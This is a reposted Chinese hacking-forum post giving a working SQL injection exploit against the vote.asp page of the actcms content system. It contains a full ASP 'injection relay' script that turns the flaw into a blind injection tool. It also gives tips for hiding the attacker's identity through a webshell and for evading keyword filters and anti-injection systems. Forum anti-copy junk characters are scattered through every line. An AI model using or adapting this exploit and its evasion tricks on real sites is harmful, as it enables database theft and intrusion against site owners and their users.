+ @% W' K7 _( S2 i0 g看到ninty大牛的blog的一篇文章
. U& K1 g0 ?( `链接标记[url]http://www.forjj.com/?action=show&id=80[/url]6 F2 |7 b1 c+ C5 a, T
关于actcms漏洞的利用 by 3x qq:381862589
( W+ Q* m" W" f1 R* D3 a3 G! ]转载请注明以上! [/ D8 A/ A4 m9 v, x! R0 T: s
漏洞文件:
2 }% G; N- @" H3 j( n- Y# B/plus/vote/vote.asp" i- J- A0 u1 G- }5 H/ A
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then & L' C3 w8 u! _
* Z" A: b7 @1 X' J
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
% O/ x; k2 _" a" G- {- D, K7 U# Q8 d! j* N Q
3 response.end
! z; ^. ^+ N8 x8 K
* J; a# u1 V8 T" Q+ ~0 j; u- }3 n4 end if
9 Q6 P8 K. Q7 k& g, u/ \6 J- E
$ C5 I$ d4 m! p8 {5 for i=1 to request("voted").count ( K- s% @0 ]6 x* T$ u
* x( V+ ]/ L# W" X$ C! Y& D; @6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
$ m- y4 k) H/ c+ K+ L6 y4 B0 b2 O& x) ?& m' a M/ Q
7 next 2 V$ K3 G& y# `
9 P% d3 K0 b) p6 V
8.... ) a0 L' T" O( V% i1 w" Y
, B+ C$ j" C# P9response.Redirect "index.asp?id="&id&"" - u3 S% X! P; q+ y
投票结束回跳转回index.asp这个投票结果页面
- V2 G9 P. y# w: p& G5 d如果投票成功票数加1
) Y) B( j, H) }% t* M+ U8 V4 C 失败票数不变% q1 Q- n6 {5 k' b! C" Y
如图:
+ B0 Z/ X0 i0 [# `4 Xhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB); }3 h9 C2 q& w+ o9 C8 [- e
/ `7 X1 I4 |. @ f Y( C$ \: e+ j- w2009-12-27 13:20$ }9 Z- J3 u- t- I% |
3 D' k( v) |/ r0 f' K' c利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
* G4 K2 o3 C$ M' H
2 x+ X* E1 t# Y; i本帖隐藏的内容需要回复才可以浏览2 {6 I8 g: v$ e: }/ F2 Q
我们用注入中转来实现这个注入具体代码如下:
3 S5 C3 c0 a* `( s& x先用寂寞的刺猬大牛的注入中转生成jmget.asp r5 H" }3 m9 Y& T. m U! g
注入地址:http://localhost/actcms/plus/vote/vote.asp. z8 ^# W. _- f0 x1 q/ E/ s- a
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
; O6 ]; [" ~- V0 J0 G+ G
# g4 u2 g, a: J( r8 }4 C; [9 q$ \然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
7 d0 m6 t3 O) t9 ]% Z0 i- w2 ~' u+ |- G1 a3 V: G. _& Z2 h
02JmdcwName=request("jmdcw")
}) ~4 H! {# E# }3 r: n
/ y1 _, J' W1 |03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; _ U) y0 {0 N v, j, O( O
$ ^# B: I7 j$ u, d' W2 O n t
04JmStr="id=1&voted=-1 or 1="&JmdcwName
7 w ]; \8 X% ~3 i8 D2 S8 a. ]8 R) Z+ E+ f
05JmStr=URLEncoding(JmStr)
! r' s/ {2 {: X& t% {0 L8 l9 V5 z/ h( u' m# D. P# \, _* R
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 `& Y. \2 b9 w$ a. K4 g3 t1 h' D9 R
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"% A% n# C/ G$ z
3 ]1 m* V! x# L8 c1 `
08testurl=testurl & "?" & JmStr ; h& \2 z$ B, u
% m6 L$ `8 \. t7 b; V
09JMUrl=JMUrl & "?" & JmStr - E& ]1 s# ~5 z! q8 H' A+ v1 A0 r
T2 j6 u: _3 Y4 g10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"2 S# H# h2 j- I+ G* \6 L
) G4 ?! b3 s" e+ M11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
) l3 v$ V, F3 T
: M, T! L* |) `9 |5 w7 P& V12JmCok=replace(JmCok,chr(32),"%20") ! H! R, Z# ]5 p c( X% @) g
7 K! T$ N J1 B6 K+ l8 h. z9 m( D13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" X9 w( U7 o! F% c$ _) v) a- p# x" {' Y6 C
14
+ X/ h/ A" \% o2 c
! n* P7 O/ t1 I- r' k7 \5 p. D15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 7 i% q/ P0 ?# U. Y% V) }
& Z% U0 w4 C; L8 O
16
, k2 l- a+ ] Z- _
5 p; }& K0 X6 ~6 J. v17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 3 w. b3 U& s! I$ a, S: F, |4 E
9 m9 h- ^/ Y/ |4 c; s18response.write test1&""&test2&""% Q( G8 l: ]! \, j" |
. F; E1 a7 Q$ U5 @3 y( u- R0 ~. K3 _19 & S- j% \3 S9 O* O4 d, n0 u
; h6 z# d T# f
20if test1=test2 then '如前后记录相等,表示失败 : Q, z4 M+ D4 w% |3 [$ `4 [( y
: v% k g* |1 B& i2 w( K; i, R
21 response.write "failed"( f# D9 h& k! o" b" f; A2 B
% O* y+ n% h2 V5 \/ F22else + d- g: O& e7 U) M
& S! `5 q% a) O4 c5 D
23 response.write "succeed"9 i# s3 k$ k) r1 i# M9 D+ m
6 F6 }3 K# Z* v2 o- z24end if
( K2 ~ X9 d7 u6 j, |
( _9 l& h9 K' `1 t% B$ d25 + l0 e# a& Q4 x1 r# E
5 D% h4 Z# X% y6 Q6 n26response.write "by 3x"
1 b1 F# \8 Y8 P& R3 q& L& D" {0 R+ c7 b3 _! B% r
27
z2 G! O: v& S- @1 P/ O4 G, H2 a$ z2 U
28
' j; r: p8 h9 r* U. u/ U: L: ~% w2 c( s
29Function PostData(PostUrl,PostStr,PostCok,PostRef) * W1 x9 _: U4 {5 V7 {% L2 Q* z
$ g1 J" x# o" S$ A. j. A30Dim Http
5 Q! M) h3 M# @) v
9 o" |* @$ n, A P4 c' }31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") & A* p j1 t7 |( z, S& j
3 X9 Y$ }) b" \" n8 A
32With Http ) O5 r% l4 h. E: e# h6 S. M
' K$ u$ M! k/ Z) ?. m, V* z4 }: l
33
$ W4 \9 U8 a( D8 J
% R6 n. d. u% R/ e( ~( B34.Open "GET",PostUrl,False- n, [2 V* U0 Q- ^. K$ w
, S' O7 O: ^5 i1 o4 i5 M( G
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
/ R& b7 C3 K) ^' G' b+ r2 j* }7 ^" C' p8 d
36.SetRequestHeader "Referer",PostRef , W5 P. l$ ?8 `0 Q
: i( y; P5 Z9 {) V% j# i" \37.SetRequestHeader "Cookie",PostCok
7 A9 \" H' p( D& i! f: W7 H" q# v: P. `4 x
38.Send ()
5 N1 k( [( J Y ^( H, \0 `, i# S [7 m4 j9 V) w
39PostData = .ResponseBody 1 h \* M# C% l+ }8 J
, I, r% |' I: Y' i" u40End With* s! m8 T/ }9 f
! d6 l1 c6 H2 H. w$ q8 I. o) }41Set Http = Nothing
0 d! P# X8 Y) u, q
* {/ S4 T; `/ R2 v1 L- ]" T2 x42PostData =bytes2BSTR(PostData) , Z7 Q" S' Z+ T" I/ w- p: E2 `* G
8 J( J! L9 g ?( c7 {
43End Function
# O$ H; L0 I8 Z
# l5 Z- C. a; b8 O0 [3 d44
B% D8 A, B8 }5 a
& G1 ^( B: R$ g- Z1 @6 t45
! A4 {/ t. q, P3 T/ t& h# g+ ~( A' u/ i3 D' n5 h7 Z
46Function bytes2BSTR(vIn) 9 u4 C6 D8 R4 M
# \! J4 h9 X' {: k/ d, `2 G3 m
47Dim strReturn 4 L" {* G1 `2 d, l+ t
/ S$ R3 T/ w+ R3 x& T& d. D
48Dim I, ThisCharCode, NextCharCode
9 c1 ]! Z4 M+ p* x1 L- A) I1 F7 Q% |1 w, u) ?; i" N
49strReturn = ""
; p# Q1 E6 y* c8 H% B+ A$ P _" y. S, B
50For I = 1 To LenB(vIn)
1 W3 R# l6 I3 S0 o# f; H0 d" C- R6 ^
51ThisCharCode = AscB(MidB(vIn, I, 1))
, G2 M: A& Q4 O ^, f' w1 K' V$ J
3 p8 M6 \7 x; A$ s9 s) S% h# V+ M/ n52If ThisCharCode < &H80 Then& n% P) ?" @$ Q5 P! f8 E
' [8 l2 u- r* S, f' [' z1 k9 h53strReturn = strReturn & Chr(ThisCharCode)
# ^# ~+ d8 M# B% h/ K2 C" j# O) d2 K/ L5 @$ ^9 ]
54Else
0 r" C3 P) O2 w# v/ Y& O
) ~+ ?2 A& c, b55NextCharCode = AscB(MidB(vIn, I + 1, 1))
& g% J: j ?7 f1 C
; x' z2 o7 F" a# R0 N# l56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
/ t* d' ]2 T+ W5 q' O
S) Z: b5 |5 K2 t: n. I( l57I = I + 1 ! b9 w8 I) W( |# a1 m: }
8 \! g h* d$ b+ Y6 ]% b [) q
58End If1 @" C* {1 J: M! v( m9 ~6 I Z* i
! W' z: M5 l0 Q2 Z+ P. C6 h
59Next
- T0 p; Y0 j$ R4 e
1 E; g' q3 [* N5 E60bytes2BSTR = strReturn " \$ r% C: g) f* ^
% k' F9 @, B N( S
61End Function
1 f4 p9 f" U8 c5 Q0 T0 H$ q2 t% G1 V# v$ t" ]
62 " S3 J t: w I7 @; P
9 x* T1 ~ ?8 I3 ?; r2 O63Function URLEncoding(vstrin)
8 Z( @' Q5 d$ z+ l& B" B7 S7 |1 Z' M8 B, B. {
64strReturn=""
- Q$ O' y3 G: Y2 F* A/ ~
, ?, i, A' D# R* q7 S, C5 L65Dim i
! F( A2 S- q$ C/ b- t; K' T1 t& O0 X* A7 M, [7 r1 Z8 y7 J* d9 R8 U, L0 Z
66For i=1 To Len(vstrin)
2 W" k. a2 t& f) }2 D2 }( K
& T8 F+ t& J; ~. V. F# D67ThisChr=Mid(vstrin,i,1) & s5 j( e& f! w4 ^4 E7 D5 H* N' e
( b8 S# Q! z4 C; r
68if Abs(Asc(ThisChr))< &HFF Then
5 \; Y4 q, e- a9 J0 T& _. [1 M9 J7 [2 [" Q! W. i6 a9 b$ I
69strReturn=strReturn & ThisChr
# w+ \3 e5 X- v$ w: y# y. r C# k2 [& R- o+ X" y2 j
70Else
7 d+ X8 n& M9 z
4 `' F( q% i$ U! Z2 T71InnerCode=Asc(ThisChr)
1 I3 \ T0 Z4 ^" i) a7 ~
% _# q2 P* j" u72If InnerCode<0 Then
7 J9 O* A+ G7 {7 u) U* g( G7 v8 H( B
8 [: Y* o+ I/ E# e7 O73InnerCode=InnerCode + &H10000
1 K7 L3 k& w" m, }) j9 I1 {3 T. E; \5 s( U+ {
74End If% A. v% g. W8 e% L
$ d* \ e/ c, V7 e9 r7 _5 a5 w; l
75Hight1=(InnerCode And &HFF00) \&HFF / q9 `) a+ q& B7 ^0 F( ~
; ]( ?" h) D% P$ |
76Low1=InnerCode And &HFF 7 w, |* V, Q7 E$ x" z9 U. v; b8 R
5 Q" z* ]. ]) v+ B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 k4 W4 |1 n% |3 J& s" v- t z2 O \+ Z* j4 C& Q, y
78End if
7 I! u G. v6 V9 ~2 t8 C7 M$ `, N
2 M6 T1 Q6 V+ ]& B' \) s- r79Next
) R2 Z' M: o# }9 L+ j4 g1 u0 g4 N) P
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 9 {' X- A$ H& X+ e
! S' k' c) Z6 }4 N81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 ; m2 P7 S1 }$ Q$ ]! R0 o
7 I0 p# L$ K$ M$ e5 |: V5 F" \/ n82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 - r- K8 j. D; J* k) g; c& T2 e; O) X
0 x' F9 L5 Y% W) J' _
83URLEncoding=strReturn
" e5 i* d# v9 P: ^& _2 V1 c( i" J% U/ S' i/ l c( P2 K$ E% ?
84End Function( c9 p9 ~: V) j6 N
) t2 I2 |& j& f. K& P85 3 S1 b( g/ |, L) u4 G1 q
' Z& N0 F' f" S
86function getSt(body)
) \+ E6 b2 @- B* X+ Z1 \6 K% ~9 j, t/ R! R4 A- R
87 startpot=instr(body,"投票人数:")+len("投票人数:")
( T' J/ w! j5 s7 T/ j( v$ v& `& |, p, B W
88 endpot=instr(startpot,body," ")
f; I+ g3 I/ \1 u- a" {0 z2 r
7 M& C% p. g: \" s- n0 e, Q6 V89 getSt=mid(body,startpot,endpot-startpot) " R F7 Y7 i) e: L. c
( E2 i* i7 S2 Z5 l; \
90end function
; j6 b$ p2 {3 ]' a8 F( c$ a' Q. e7 c3 q8 v' x4 |
91%>
) {( _6 Q5 L3 \. k: |- r注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了7 w3 j( f7 A& }! {* h* }
测试下效果:
* m9 W* R* G. R* a% H7 v7 u% T1 {投票成功:
, Z5 k$ Z3 `6 l( S7 Z' S! ohttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)) }& K7 O7 `; g j; j
! R, w. P1 z/ g% T* R) }8 R
2009-12-27 13:29
7 P9 U- X ~4 o' z" b投票失败
" D5 G& m/ h! k3 h2 Z7 M( Thttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 H# h- e. X' h0 z1 P" Q7 W: [/ C ~/ j4 y' D
2009-12-27 13:290 ^1 l4 V( A ~, ]6 g
-------------------------------------------------------------------------------
" q5 S. {. V" ]: A* u再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以1 ?- I' {6 x% B" l. b8 z' U7 Y
很抱歉。。。只能用单线程工具去注入。。。。。2 I0 g" I2 ]" F4 g; P+ ]
所以失败。。。不好意思。。。# ^: j$ \% ~1 b7 d9 Y( T, g
-------------------------------------------------------------------------------
/ z+ U4 p5 D! ~7 D
7 u5 q- i+ Z6 h. u+ J; ]注入中转的一些其他应用" V3 k+ [, c# M+ b# o
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
g# ?+ h% @3 X) d' `6 d; u* m/ D1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id# O" q( M7 G! p- e. c
2.post注入转成get型的注入,方便我们使用工具来跑% y. _2 u/ U( U
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")+ M- _9 A! n2 l
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过6 ^/ _& ^4 q, E4 H, e5 e/ M. G" ^
4 e7 `- y% C5 l- L& l7 @
|